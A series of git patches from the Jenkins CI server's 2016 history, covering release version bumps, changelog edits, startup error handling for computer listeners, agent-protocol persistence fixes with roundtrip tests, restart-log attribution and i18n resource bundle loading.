                          -- GitLab From 3065058ef69713a5052ec22c54f4f2cb82aeba6f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:36:13 +0100 Subject: [PATCH 468/811] Changelog: #2622 is expected to be a final fix --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 9dde0a4b86..366205c523 100644 --- a/changelog.html +++ b/changelog.html @@ -62,7 +62,7 @@ Upcoming changes (issue 39555, regression in 2.29)
                        • Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.248 with a partial fix. + Upgraded to Stapler 1.248 with a fix. (issue 39414, regression in 2.28)
                        • Custom remoting enable/disable settings were not properly persisted on the disk and then reloaded. -- GitLab From 8ffc4949c357c74d15adae167300b6fd9b65034c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 7 Nov 2016 18:58:43 -0800 Subject: [PATCH 469/811] [maven-release-plugin] prepare release jenkins-2.30 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 8ec6e0b1f7..dff4cfa9fe 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 cli diff --git a/core/pom.xml b/core/pom.xml index 054f63258d..7eec81c7fa 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 jenkins-core diff --git a/pom.xml b/pom.xml index b61db5774f..ab142c622e 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.30 diff --git a/test/pom.xml b/test/pom.xml index dcfb346d65..25856e9261 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 test diff --git a/war/pom.xml b/war/pom.xml index e61e33ad1e..8a9e1e1be0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 jenkins-war -- GitLab From 55f563b26b9671808efc8fac8c4e3a589678cb0f Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 7 Nov 2016 18:58:43 -0800 Subject: [PATCH 470/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index dff4cfa9fe..70f83cbbec 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 7eec81c7fa..5e0673544c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index ab142c622e..52d7cbe5a9 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.30 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 25856e9261..32af02cabb 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 8a9e1e1be0..4da5f76729 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT jenkins-war -- GitLab From 283938394d4dd07f36ae0d4a55bf844e8850f50c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 7 Nov 2016 19:06:05 -0800 Subject: [PATCH 471/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 366205c523..e6ceb9a4a9 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                          What's new in 2.30 (2016/11/07)

                          • Adjust incompatible Actionable initialization changes made for issue 39404). @@ -69,7 +74,6 @@ Upcoming changes If the option has been configured in Jenkins starting from 2.16, a reconfiguration may be required. (issue 39465)
                          -

                          What's new in 2.29 (2016/11/06)

                          Warning! This release is not recommended for use due to -- GitLab From 5e5ba7b8aa2fbec2da47871f5cf2134734a21528 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 8 Nov 2016 10:47:02 +0100 Subject: [PATCH 472/811] Fix URL --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e6ceb9a4a9..7939e12c84 100644 --- a/changelog.html +++ b/changelog.html @@ -77,7 +77,7 @@ Upcoming changes

                          What's new in 2.29 (2016/11/06)

                          Warning! This release is not recommended for use due to - issue 39555 + issue 39555 and issue 39414. We are working on the out-of-order release (discussion).

                          -- GitLab From 7e8ea4a967057c3fc9ae4dc72028f780d9fa39e1 Mon Sep 17 00:00:00 2001 From: Jonathan Fuentes Date: Sat, 17 Sep 2016 21:41:14 -0700 Subject: [PATCH 473/811] [FIXED JENKINS-36539] (#2495) (cherry picked from commit fbb4dc05b5122d9ba09419c60a2a6092e675e7a8) --- war/src/main/js/add-item.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/war/src/main/js/add-item.js b/war/src/main/js/add-item.js index 22338ece65..7156144471 100644 --- a/war/src/main/js/add-item.js +++ b/war/src/main/js/add-item.js @@ -107,7 +107,6 @@ $.when(getItems()).done(function(data) { btn.removeClass('disabled'); btn.prop('disabled', false); } - btn.focus(); } else { if (!btn.hasClass('disabled')) { btn.addClass('disabled'); @@ -233,7 +232,7 @@ $.when(getItems()).done(function(data) { $("#add-item-panel").find("#name").focus(); // Init NameField - $('input[name="name"]', '#createItem').blur(function() { + $('input[name="name"]', '#createItem').on("blur input", function() { if (!isItemNameEmpty()) { var itemName = $('input[name="name"]', '#createItem').val(); $.get("checkJobName", { value: itemName }).done(function(data) { -- GitLab From b10440702f74c70786820bdf38d417569d86644d Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 5 Nov 2016 21:42:20 +0400 Subject: [PATCH 474/811] [FIXED JENKINS-38487] - Jenkins startup must not fail in the case of ComputerListener failure (#2610) Without this code Jenkinbs startup fails if EnvInject fails to find global property file on startup. Javadoc says "Exceptions will be recorded to the listener. Note that throwing an exception doesn't put the computer offline." regarding the listener method exception, hence we should not block Jenkins startup (cherry picked from commit 58e1228c99fd3d5063b0967d7780dc536bc2c463) --- .../java/hudson/slaves/ComputerListener.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 24 +++++++++++++++---- .../test/java/jenkins/model/JenkinsTest.java | 19 +++++++++++++++ 3 files changed, 39 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ComputerListener.java b/core/src/main/java/hudson/slaves/ComputerListener.java index c2e4dc1f70..b166a6c40d 100644 --- a/core/src/main/java/hudson/slaves/ComputerListener.java +++ b/core/src/main/java/hudson/slaves/ComputerListener.java @@ -143,7 +143,7 @@ public abstract class ComputerListener implements ExtensionPoint { * Starting Hudson 1.312, this method is also invoked for the master, not just for agents. * * @param listener - * This is connected to the launch log of the computer. + * This is connected to the launch log of the computer or Jenkins master. * Since this method is called synchronously from the thread * that launches a computer, if this method performs a time-consuming * operation, this listener should be notified of the progress. diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index b25fbe2cc0..3a3a89c45a 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -957,11 +957,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve updateComputerList(); - {// master is online now - Computer c = toComputer(); - if(c!=null) - for (ComputerListener cl : ComputerListener.all()) - cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + {// master is online now, it's instance must always exist + final Computer c = toComputer(); + if(c != null) { + for (ComputerListener cl : ComputerListener.all()) { + try { + cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + } catch (Throwable t) { + if (t instanceof Error) { + // We propagate Runtime errors, because they are fatal. + throw t; + } + + // Other exceptions should be logged instead of failing the Jenkins startup (See listener's Javadoc) + // We also throw it for InterruptedException since it's what is expected according to the javadoc + LOGGER.log(SEVERE, String.format("Invocation of the computer listener %s failed for the Jenkins master node", + cl.getClass()), t); + } + } + } } for (ItemListener l : ItemListener.all()) { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 936e1ae977..27528d2e04 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -42,6 +42,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlPage; import hudson.maven.MavenModuleSet; import hudson.maven.MavenModuleSetBuild; +import hudson.model.Computer; import hudson.model.Failure; import hudson.model.RestartListener; import hudson.model.RootAction; @@ -51,6 +52,7 @@ import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; import hudson.security.HudsonPrivateSecurityRealm; import hudson.util.HttpResponses; import hudson.model.FreeStyleProject; +import hudson.model.TaskListener; import hudson.security.GlobalMatrixAuthorizationStrategy; import hudson.security.LegacySecurityRealm; import hudson.security.Permission; @@ -70,6 +72,7 @@ import org.kohsuke.stapler.HttpResponse; import org.mockito.ArgumentCaptor; import org.mockito.Mockito; +import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; @@ -452,4 +455,20 @@ public class JenkinsTest { assertThat(rsp.getContentAsString(), containsString("Node is offline")); assertThat(rsp.getStatusCode(), equalTo(404)); } + + @Test + @Issue("JENKINS-38487") + public void startupShouldNotFailOnFailingOnlineListener() { + // We do nothing, FailingOnOnlineListener & JenkinsRule should cause the + // boot failure if the issue is not fixed. + } + + @TestExtension(value = "startupShouldNotFailOnFailingOnlineListener") + public static final class FailingOnOnlineListener extends ComputerListener { + + @Override + public void onOnline(Computer c, TaskListener listener) throws IOException, InterruptedException { + throw new IOException("Something happened (the listener always throws this exception)"); + } + } } -- GitLab From f80c59ab3daae29d8a0b9e92af2d6ebc5cca1497 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Sun, 2 Oct 2016 09:15:56 -0700 Subject: [PATCH 475/811] [JENKINS-38651] Display actions created through TransientActionFactory in label view (cherry picked from commit 8d55b1f555194be546152a972294f0a64a052da9) --- core/src/main/resources/hudson/model/Label/index.jelly | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/Label/index.jelly b/core/src/main/resources/hudson/model/Label/index.jelly index 931d7932df..10b239fd63 100644 --- a/core/src/main/resources/hudson/model/Label/index.jelly +++ b/core/src/main/resources/hudson/model/Label/index.jelly @@ -36,7 +36,7 @@ THE SOFTWARE. - + -- GitLab From 936091b42c425abc2a0afbcb5b7e49497eff3e95 Mon Sep 17 00:00:00 2001 From: gusreiber Date: Sun, 9 Oct 2016 23:19:37 -0700 Subject: [PATCH 476/811] [JENKINS-35263] displaying codeMirror as table to fix page sizing (#2575) (cherry picked from commit 67df10db2d4e0620ba4e7fde399c4340d39604b6) --- core/src/main/resources/lib/form/textarea/textarea.css | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 core/src/main/resources/lib/form/textarea/textarea.css diff --git a/core/src/main/resources/lib/form/textarea/textarea.css b/core/src/main/resources/lib/form/textarea/textarea.css new file mode 100644 index 0000000000..71300ae0e3 --- /dev/null +++ b/core/src/main/resources/lib/form/textarea/textarea.css @@ -0,0 +1,5 @@ +td.setting-main .CodeMirror { + display: table; + table-layout: fixed; + width: 100%; +} \ No newline at end of file -- GitLab From d2514bbe0816a6bb2e00588d5fb4d577054319bb Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Sun, 16 Oct 2016 01:59:06 +0200 Subject: [PATCH 477/811] [FIXED JENKINS-31871] Properly handle single quotes in item names (#1943) (cherry picked from commit bee66ede31d45b9d0814e4a45cbf2223585817e2) --- core/src/main/java/hudson/util/FormValidation.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/util/FormValidation.java b/core/src/main/java/hudson/util/FormValidation.java index 4c52f19b6d..c6dddca183 100644 --- a/core/src/main/java/hudson/util/FormValidation.java +++ b/core/src/main/java/hudson/util/FormValidation.java @@ -638,7 +638,7 @@ public abstract class FormValidation extends IOException implements HttpResponse */ public String toStemUrl() { if (names==null) return null; - return jsStringEscape(Descriptor.getCurrentDescriptorByNameUrl()) + '/' + relativePath(); + return Descriptor.getCurrentDescriptorByNameUrl() + '/' + relativePath(); } public String getDependsOn() { -- GitLab From 47a1682d8e0feb4eda4f399348fa02b33aaf1316 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:07:40 +0100 Subject: [PATCH 478/811] [JENKINS-39465] - Fix the AgentProtocol settings persistency handling (#2621) * [JENKINS-39465] - Tweak processing of enabled and disabled protocols in Jenkins instance Due to whatever reason, without a definition of an array recipient field the data goes to the disk in the following way: ``` JNLP3-connect JNLP4-connect ``` It is supposed to processed by Implicit array correctly, but it does not actually happen. With a fix the data is being stored in another format: ``` JNLP3-connect JNLP4-connect ``` This data now works correctly and gets deserialized correctly. readResolve() just adds a fallback for the case when Implicit array handling starts behaving correctly (?). * [JENKINS-39465] - Add configuration roundtrip tests * [JENKINS-39465] - Jenkins#agentProtocols cache must be invalidated when we reload the configuration * [JENKINS-39465] - Remove obsolete comment from Tests (cherry picked from commit 3e2e01717976a1f1221874bfd576429c5c48b8a6) --- core/src/main/java/jenkins/model/Jenkins.java | 24 +++- .../test/java/jenkins/model/JenkinsTest.java | 121 ++++++++++++++++++ 2 files changed, 143 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 3a3a89c45a..5e034b3ffb 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -616,6 +616,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List disabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _disabledAgentProtocols; /** * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. @@ -625,6 +630,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List enabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _enabledAgentProtocols; /** * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols} and @@ -1009,6 +1019,16 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (SLAVE_AGENT_PORT_ENFORCE) { slaveAgentPort = getSlaveAgentPortInitialValue(slaveAgentPort); } + if (disabledAgentProtocols == null && _disabledAgentProtocols != null) { + disabledAgentProtocols = Arrays.asList(_disabledAgentProtocols); + _disabledAgentProtocols = null; + } + if (enabledAgentProtocols == null && _enabledAgentProtocols != null) { + enabledAgentProtocols = Arrays.asList(_enabledAgentProtocols); + _enabledAgentProtocols = null; + } + // Invalidate the protocols cache after the reload + agentProtocols = null; return this; } @@ -5023,8 +5043,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // for backward compatibility with <1.75, recognize the tag name "view" as well. XSTREAM.alias("view", ListView.class); XSTREAM.alias("listView", ListView.class); - XSTREAM.addImplicitCollection(Jenkins.class, "disabledAgentProtocols", "disabledAgentProtocol", String.class); - XSTREAM.addImplicitCollection(Jenkins.class, "enabledAgentProtocols", "enabledAgentProtocol", String.class); + XSTREAM.addImplicitArray(Jenkins.class, "_disabledAgentProtocols", "disabledAgentProtocol"); + XSTREAM.addImplicitArray(Jenkins.class, "_enabledAgentProtocols", "enabledAgentProtocol"); XSTREAM2.addCriticalField(Jenkins.class, "securityRealm"); XSTREAM2.addCriticalField(Jenkins.class, "authorizationStrategy"); // this seems to be necessary to force registration of converter early enough diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 27528d2e04..8e88f7f0e3 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -25,7 +25,10 @@ package jenkins.model; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.greaterThan; import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.hasItem; +import static org.hamcrest.Matchers.not; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertEquals; @@ -75,6 +78,12 @@ import org.mockito.Mockito; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; +import org.junit.Assume; /** * @author kingfai @@ -471,4 +480,116 @@ public class JenkinsTest { throw new IOException("Something happened (the listener always throws this exception)"); } } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have additional enabled protocol", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 1)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least one protocol is enabled", defaultProtocols.size(), greaterThan(0)); + + final String protocolToDisable = defaultProtocols.iterator().next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really refreshed", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled one protocol", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 1)); + assertThat(protocolToDisable + " must be disabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + Assume.assumeThat("We assume that JNLP4-connect is disabled", + defaultProtocols, not(hasItem("JNLP4-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + newProtocols.add("JNLP4-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + assertThat("JNLP4-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP4-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have two additional enabled protocols", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 2)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP4-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least two protocol should be enabled", defaultProtocols.size(), greaterThan(1)); + + Iterator iterator = defaultProtocols.iterator(); + final String protocolToDisable1 = iterator.next(); + final String protocolToDisable2 = iterator.next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable1); + newProtocols.remove(protocolToDisable2); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable1 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled two protocols", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 2)); + assertThat(protocolToDisable1 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + } } -- GitLab From 2b39a3839b9eb0c9ce18c9579cfc5f32979a2a88 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 4 Oct 2016 12:40:25 +0200 Subject: [PATCH 479/811] [FIX JENKINS-38615] Add user to restart log message (cherry picked from commit 4462eda829944a39f2ddfdab607d7105be8aface) --- core/src/main/java/hudson/model/UpdateCenter.java | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index ed1915e53d..16100a7727 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -30,6 +30,7 @@ import hudson.Functions; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.ProxyConfiguration; +import hudson.security.ACLContext; import jenkins.util.SystemProperties; import hudson.Util; import hudson.XmlFile; @@ -1365,6 +1366,11 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas @Exported(inline=true) public volatile RestartJenkinsJobStatus status = new Pending(); + /** + * The name of the user that started this job + */ + private String authentication; + /** * Cancel job */ @@ -1378,6 +1384,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas public RestartJenkinsJob(UpdateSite site) { super(site); + this.authentication = Jenkins.getAuthentication().getName(); } public synchronized void run() { @@ -1386,7 +1393,10 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas } status = new Running(); try { - Jenkins.getInstance().safeRestart(); + // safeRestart records the current authentication for the log, so set it to the managing user + try (ACLContext _ = ACL.as(User.get(authentication, false, Collections.emptyMap()))) { + Jenkins.getInstance().safeRestart(); + } } catch (RestartNotSupportedException exception) { // ignore if restart is not allowed status = new Failure(); -- GitLab From 500cefddbca6135cbeab922b9998070f2db5daa5 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Wed, 9 Nov 2016 00:25:50 +0100 Subject: [PATCH 480/811] [FIXED JENKINS-39604] - ResourceBundleUtil#getBundle() should report resource misses on the low level I propose the FINER level. --- core/src/main/java/jenkins/util/ResourceBundleUtil.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index edf8de5fab..b2eee336ab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -114,7 +114,7 @@ public class ResourceBundleUtil { return ResourceBundle.getBundle(baseName, locale, classLoader); } catch (MissingResourceException e) { // fall through and return null. - logger.warning(e.getMessage()); + logger.finer(e.getMessage()); } return null; } -- GitLab From 5588df315d28e7f97c6fa57679e43f443baf5081 Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Wed, 9 Nov 2016 09:36:52 +0100 Subject: [PATCH 481/811] Add @since on Util.isSafeToRedirectTo() --- core/src/main/java/hudson/Util.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index e85b9a1592..4b56102bd5 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -1598,6 +1598,7 @@ public class Util { /** * Return true iff the parameter does not denote an absolute URI and not a scheme-relative URI. + * @since 2.3 / 1.651.2 */ public static boolean isSafeToRedirectTo(@Nonnull String uri) { return !isAbsoluteUri(uri) && !uri.startsWith("//"); -- GitLab From 643442a4804e2275ae674d34c7982f33b72c58b8 Mon Sep 17 00:00:00 2001 From: Lee Lavery Date: Wed, 9 Nov 2016 14:07:55 +0000 Subject: [PATCH 482/811] [JENKINS-39172] - Add viewport meta tag (#2626) * Add viewport meta tag Enables better responsiveness on mobile devices * fix: Use self-closing tag * Remove minimum-scale for best accessibility * Add viewport meta tag --- core/src/main/resources/lib/layout/layout.jelly | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/resources/lib/layout/layout.jelly b/core/src/main/resources/lib/layout/layout.jelly index dbab66d4f3..2050d18c2a 100644 --- a/core/src/main/resources/lib/layout/layout.jelly +++ b/core/src/main/resources/lib/layout/layout.jelly @@ -153,6 +153,7 @@ ${h.initPageVariables(context)} + -- GitLab From 288a66dfabac0a31ce799cc3eaf285dc801cd668 Mon Sep 17 00:00:00 2001 From: Thorsten Scherler Date: Sat, 22 Oct 2016 12:21:56 +0200 Subject: [PATCH 483/811] [FIX JENKINS-35845] Internationalisation for Blue Ocean and JDL (#2586) * Load i18n resource bundles from plugins if not found in jenkins core Signed-off-by: Thorsten Scherler * Issue 404 response for missing i18n resource bundles Currently issues a 200 with an "error" response payload. This change still issues the error response payload, but also sets the HTTP response. Signed-off-by: Thorsten Scherler * [JENKINS-35845] Fix test since we return now a 404 * [JENKINS-35845] add test for getting locale from plugin. fix comments from oleg. * [JENKINS-35845] Fix description * [JENKINS-35845] Update PR with comments from Oleg * [JENKINS-35845] Add feedback from tom * eslint - formating changes and fix offences * eslint - formating changes and fix offences * [JENKINS-35845] remove code concerning 404 response. Fix resourceBundle test by prevent NPE to happen * [JENKINS-35845] Link to issue on which we introduced the test (cherry picked from commit ab16e52519260c0e9398f15256ed8061a4c00bf0) --- .../main/java/hudson/util/HttpResponses.java | 1 + .../java/jenkins/util/ResourceBundleUtil.java | 47 ++++++++++++++++++- test/src/test/java/jenkins/I18nTest.java | 21 +++++++-- 3 files changed, 65 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/util/HttpResponses.java b/core/src/main/java/hudson/util/HttpResponses.java index 511a3f20e0..ccef89059e 100644 --- a/core/src/main/java/hudson/util/HttpResponses.java +++ b/core/src/main/java/hudson/util/HttpResponses.java @@ -29,6 +29,7 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import javax.servlet.ServletException; import java.io.File; diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index a62c3fa772..edf8de5fab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -27,12 +27,16 @@ import net.sf.json.JSONObject; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import hudson.PluginWrapper; +import java.util.logging.Logger; import java.util.Locale; 